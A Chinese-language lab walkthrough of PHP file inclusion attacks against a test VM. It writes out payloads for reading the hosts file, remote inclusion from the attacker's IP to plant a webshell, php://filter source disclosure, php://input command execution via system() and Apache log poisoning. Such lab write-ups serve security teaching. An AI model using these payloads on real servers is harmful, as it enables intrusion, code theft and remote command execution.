在通过PHP的相应函数(比如include($_REQUEST[666]))引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 ?666=c:/windows/system32/dirvers/etc/hosts
文件包含可以分为:本地文件包含和远程文件包含
1、include()等函数通过动态变量的方式引入需要包含的文件 2、用户能够控制这个动态变量
allow_url_fopen=On allow_url_include=On
在php.ini中,allow_url_fopen默认是打开的,它表示允许打开URL文件,也就是是否允许将URL(如http://或ftp://)作为文件处理。 allow_url_include默认是关闭的,它表示是否允许引用URL文件,也就是是否允许include/require打开URL(如http://或ftp://)作为文件处理。 也就是说,allow_url_include=On的时候,就容易出现文件包含漏洞 一般情况下,远程文件漏洞包含的都是TXT文件,因为文件包含不受文件类型的影响。
PHP带有很多内置的URL风格的封装协议,利用这些协议,也可以完成文件包含漏洞的利用 http:// 访问http(s)网址 file:// 访问本地文件 ftp:// 访问ftp(s)文件 php:// 访问各个输入/输出流
攻击机:物理机,IP为192.168.0.2 靶机:虚拟机server2003,IP为192.168.10.24
1、根据源码分析,$file = $_GET[ ‘page’ ]; 可以看到通过url传递参数的,并且默认包含include页面
2、虽然网页默认显示的只有file1、file2和file3,但是通过手动在url中输入file4,也能实现包含。 3、继续走下去,发现包含本地文件也是可以的。?page=c:/windows/system32/drivers/etc/hosts 通过查看网页源代码,可以看到服务器hosts文件中的内容 4、目前我在攻击的目标是一台2003的虚拟机,现在把我物理机上的phpstudy打开,之后试一下靶机能不能通过http包含我物理机上的文件。在物理机的网站根目录下添加一个phpinfo.txt文件,构造?page=http://192.168.0.2/phpinfo.txt 可以看到靶机能够包含http协议的文件,并且因为文件包含不受文件类型的影响,所以即使是phpinfo.txt文件,也能够包含并且解析出来。
5、既然这样的话,现在尝试上传木马到靶机服务器中。先在物理机网站目录下编写一个上传一句话木马地文件,之后把它上传到靶机中,让靶机服务器去解析这个文件,就能在靶机当前访问的网站目录下生成一个一句话木马文件。最后使用菜刀连接。 执行包含http文件之后,页面没有报错,就是证明执行成功了。它会去解析上面那个文件,解析之后,靶机当前访问的网站目录下就会多出一个一句话木马文件 可以看到靶机服务器的当前访问的网站目录下确实多了一个一句话木马的脚本文件 使用菜刀连接 连接成功。
6、除此之外,还可以使用其他php协议进行文件包含漏洞的利用。比如说,php://filter/read=convert.base64-encode/resource=file1.php,可以在已知网站结构的前提下拿到网站的源代码。这里使用了base64编码,因为有些浏览器可能会检测出这种非法操作,而阻止直接显示网站源代码。但是编码之后再让浏览器显示,它就检测不出来了。拿到编码后的源码之后,在去解个码,就可以拿到网站的源码了 7、还有一种操作,还是利用PHP的一种支持协议:php://input。它可以通过include包含,再通过POST提交数据,就可以实现直接执行系统命令了 先传一个这样的参数,再到bp里面抓包。抓到包后,发送到repeater模块,之后在post请求数据里面添加PHP脚本,使用system()函数,可以直接执行cmd命令。 可以在响应包里面看到,命令执行成功。目前登录的是管理员权限 8、还有一种操作,就是可以利用apache的日志文件,完成文件包含的漏洞利用 下面就是要利用的那个日志文件,它里面记录了所有的访问记录,无论是访问到的还是没有访问到的。 现在访问一个不存在的文件,再去看下日志 可以看到日志里面最后一条记录的就是这个访问请求 那么利用这个日志文件,再利用文件包含不受文件类型的影响,只要包含文件中有PHP格式的语句就能解析的特点,就可以完成利用apache日志文件的文件包含漏洞利用。但是还有一点要注意的是,从上面的图中可以看到,日志文件中记录的请求头跟我们写的是有点区别的,因为url在发送的时候,会自动进行url编码,传到服务器之后,记录到日志里面的就是编码之后的样子了。不过问题不大,因为url只是在浏览器里面进行url编码的,所以这里用抓包软件抓下包,再把url编码的地方改回来就行了。 抓包 把这地方改成这个,再forward过去就行了 现在再来看看靶机服务器的apache日志文件 达到目的,之后再利用文件包含这个日志文件 成功